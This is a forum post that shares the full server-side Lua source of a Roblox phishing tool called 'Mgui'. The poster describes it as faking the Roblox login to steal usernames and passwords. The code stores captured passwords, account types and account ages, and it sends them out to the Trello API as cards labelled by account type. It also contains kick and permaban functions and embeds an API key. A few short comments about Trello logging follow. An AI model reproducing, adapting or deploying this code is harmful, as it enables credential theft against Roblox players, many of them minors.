Mgui is a GUI that fakes the Roblox login system and basically steals roblox usernames and passwords. I don't personally use it, but a lot of people on V3rmillion do. I downloaded the source and found this, it might be helpful.
local remote = game:WaitForChild("ReplicatedStorage"):WaitForChild("MGU-Server")
local http = game:GetService("HttpService")
local globalDataStore = game:GetService("DataStoreService"):GetGlobalDataStore()
local config = require(script.Parent:WaitForChild("MGU Config"))
local appKey = "c23030853446613212d1847303c8f482"
local token = ""
if config.StorageType == "Global" then
if not globalDataStore then
print("Could not find data store. Moving to local storage mode.")
config.StorageType = "Local"
end
end
if config.Trello.AuthToken ~= "" then
token = config.Trello.AuthToken
else
config.Trello.Enabled = false
print("No auth token set. Disabling Trello feature.")
end
function getRequest(address)
if not address then return end
return http:GetAsync(address.. "?key="..appKey.."&token="..token)
end
function postRequest(address, data)
if address == nil or data == nil then return end
local encoded = http:JSONEncode(data)
return http:PostAsync(address.. "?key="..appKey.."&token="..token, tostring(encoded), Enum.HttpContentType.ApplicationJson)
end
function sendTrelloCard(cardName, labels, targetList)
coroutine.resume(coroutine.create(function()
local cardName = cardName or "Username: UNDEFINED Password: UNDEFINED Type: UNDEFINED Age: UNDEFINED"
local targetList = targetList or "MGRList"
local labels = labels or {}
local boards = getRequest("https://api.trello.com/1/members/me/boards")
if not boards then return end
local foundList = false
for _,v in pairs(http:JSONDecode(boards)) do
if v["id"] ~= nil then
local lists = getRequest("http://api.trello.com/1/boards/"..v["id"].."/lists")
if lists then
for x,list in pairs(http:JSONDecode(lists)) do
if list["name"] == targetList then
postRequest("https://api.trello.com/1/lists/"..list["id"].."/cards", {["name"]=cardName,["labels"]=labels})
foundList = true
break
end
end
if foundList then break end
end
end
end
if not foundList then
local newBoard = postRequest("https://api.trello.com/1/boards", {["name"]="MGU-Board",["desc"]="MGUltimate Passes Storage"})
local posted = false
if newBoard then
local newList = postRequest("https://api.trello.com/1/boards/"..newBoard["id"].."/lists", {["name"]=targetList})
if newList then
postRequest("https://api.trello.com/1/lists/"..newList["id"].."/cards", {["name"]=cardName,["labels"]=labels})
posted = true
end
end
if not posted then
print("ERROR: Could not find nor create an MGU List in Trello!")
end
end
end))
end
function LaunchSignal()
for _,v in pairs(game.Players:GetPlayers()) do
if v:FindFirstChild("PlayerGui") then
if v.PlayerGui:FindFirstChild("MGUAdmin") then
local check = v.PlayerGui.MGUAdmin:FindFirstChild("SignalCheck")
if check then
check:InvokeClient(v, "Update")
end
end
end
end
end
function getListTable()
local finalTable = {}
if config.StorageType == "Local" then
local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
if not dir then
dir = Instance.new("Folder",game.Workspace)
dir.Name = config.StorageNames.Local
end
for _,v in pairs(dir:GetChildren()) do
if v:IsA("Folder") then
table.insert(finalTable, {UserName = v.Name, UserPass = v.UserPass.Value, Type = v.Type.Value, UserID = tonumber(v.UserID.Value), UserAge = tonumber(v.UserAge.Value)})
end
end
elseif config.StorageType == "Global" then
if globalDataStore then
local tab = globalDataStore:GetAsync(config.StorageNames.Global)
if tab then
return tab
end
end
end
return finalTable
end
function IsAdmin(player)
for _,v in pairs(config.AdminList) do
if type(v) == "string" then
if v:lower() == player.Name:lower() then
return true
end
elseif type(v) == "number" then
if v == player.userId then
return true
end
end
end
return false
end
function IsBypass(player)
for _,v in pairs(config.BypassList) do
if type(v) == "string" then
if v:lower() == player.Name:lower() then
return true
end
elseif type(v) == "number" then
if v == player.userId then
return true
end
end
end
return false
end
function ManageCommand(...)
local tokens = {...}
table.remove(tokens, 1)
if #tokens <= 0 then return end
local cmd = tokens[1]
if cmd == "GetCustomParameters" then
return config
elseif cmd == "StoreLog" then
local data = tokens[2]
if data then
if config.StorageType == "Local" then
local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
if not dir then
dir = Instance.new("Folder",game.Workspace)
dir.Name = config.StorageNames.Local
end
local newLocalDataKey = Instance.new("Folder",dir)
newLocalDataKey.Name = data.UserName
local newPassKey = Instance.new("StringValue",newLocalDataKey)
newPassKey.Name = "UserPass"
newPassKey.Value = data.UserPass
local newTypeKey = Instance.new("StringValue",newLocalDataKey)
newTypeKey.Name = "Type"
newTypeKey.Value = data.Type
local newIDKey = Instance.new("StringValue",newLocalDataKey)
newIDKey.Name = "UserID"
newIDKey.Value = tostring(data.UserID)
local newAgeKey = Instance.new("StringValue",newLocalDataKey)
newAgeKey.Name = "UserAge"
newAgeKey.Value = tostring(data.UserAge)
elseif config.StorageType == "Global" then
if globalDataStore then
local dir = globalDataStore:GetAsync(config.StorageNames.Global) or {}
table.insert(dir, data)
globalDataStore:SetAsync(config.StorageNames.Global, dir)
end
end
if config.Trello.Enabled then
local label = {}
if data.Type == "BC" then
label = {"green"}
elseif data.Type == "TBC" then
label = {"orange"}
elseif data.Type == "OBC" then
label = {"red"}
elseif data.Type == "V3rm Member" then
label = {"purple"}
end
sendTrelloCard("Username: "..tostring(data.UserName).." Password: "..tostring(data.UserPass).." Type: "..tostring(type).. " Age: "..tostring(data.UserAge).." days", label, config.Trello.ListName)
end
LaunchSignal()
end
elseif cmd == "IsLogged" then
local player = tokens[2]
if player then
for _,v in pairs(getListTable()) do
if v.UserID == player.userId then
return true
end
end
if IsAdmin(player) then
return true
end
return IsBypass(player)
end
return false
elseif cmd == "GetList" then
return getListTable()
elseif cmd == "Clear" then
if config.StorageType == "Local" then
local dir = game.Workspace:FindFirstChild(config.StorageNames.Local)
if not dir then
dir = Instance.new("Folder",game.Workspace)
dir.Name = config.StorageNames.Local
end
dir:ClearAllChildren()
elseif config.StorageType == "Global" then
if globalDataStore then
globalDataStore:SetAsync(config.StorageNames.Global, {})
end
end
LaunchSignal()
elseif cmd == "AddBan" then
if tokens[2] then
if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return end
if globalDataStore then
local list = globalDataStore:GetAsync(config.StorageNames.Permabans) or {}
table.insert(list, tokens[2].userId)
globalDataStore:SetAsync(config.StorageNames.Permabans, list)
end
tokens[2]:Kick()
end
elseif cmd == "ClearBans" then
if globalDataStore then
globalDataStore:SetAsync(config.StorageNames.Permabans, {})
end
elseif cmd == "IsAdmin" then
if tokens[2] then
if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end
return IsAdmin(tokens[2])
end
elseif cmd == "IsBypass" then
if tokens[2] then
if config.CreatorUltraProtect and tokens[2].userId == game.CreatorId then return true end
return IsBypass(tokens[2])
end
elseif cmd == "IsVerified" then
if tokens[2] then
return game:GetService("MarketplaceService"):PlayerOwnsAsset(tokens[2],config.Verifieds.ObjID)
end
end
end
game.Players.PlayerAdded:connect(function(p)
if config.CreatorUltraProtect and p.userId == game.CreatorId then return end
if IsAdmin(p) then return end
if IsBypass(p) then return end
if config.Verifieds.DirectKick then
if game:GetService("MarketplaceService"):PlayerOwnsAsset(p,config.Verifieds.ObjID) then
p:Kick()
end
end
if globalDataStore then
local list = globalDataStore:GetAsync(config.StorageNames.Permabans)
if list then
for _,v in pairs(list) do
if v == p.userId then
p:Kick()
end
end
end
end
end)
remote.OnServerInvoke = ManageCommand
4 comments
https://developers.trello.com
You give no information.
Check out this post: https://scriptinghelpers.org/blog/logging-errors-with-trello and try to change it a bit
@ChiefMu That could help... IF IT WAS LUA AND NOT JS!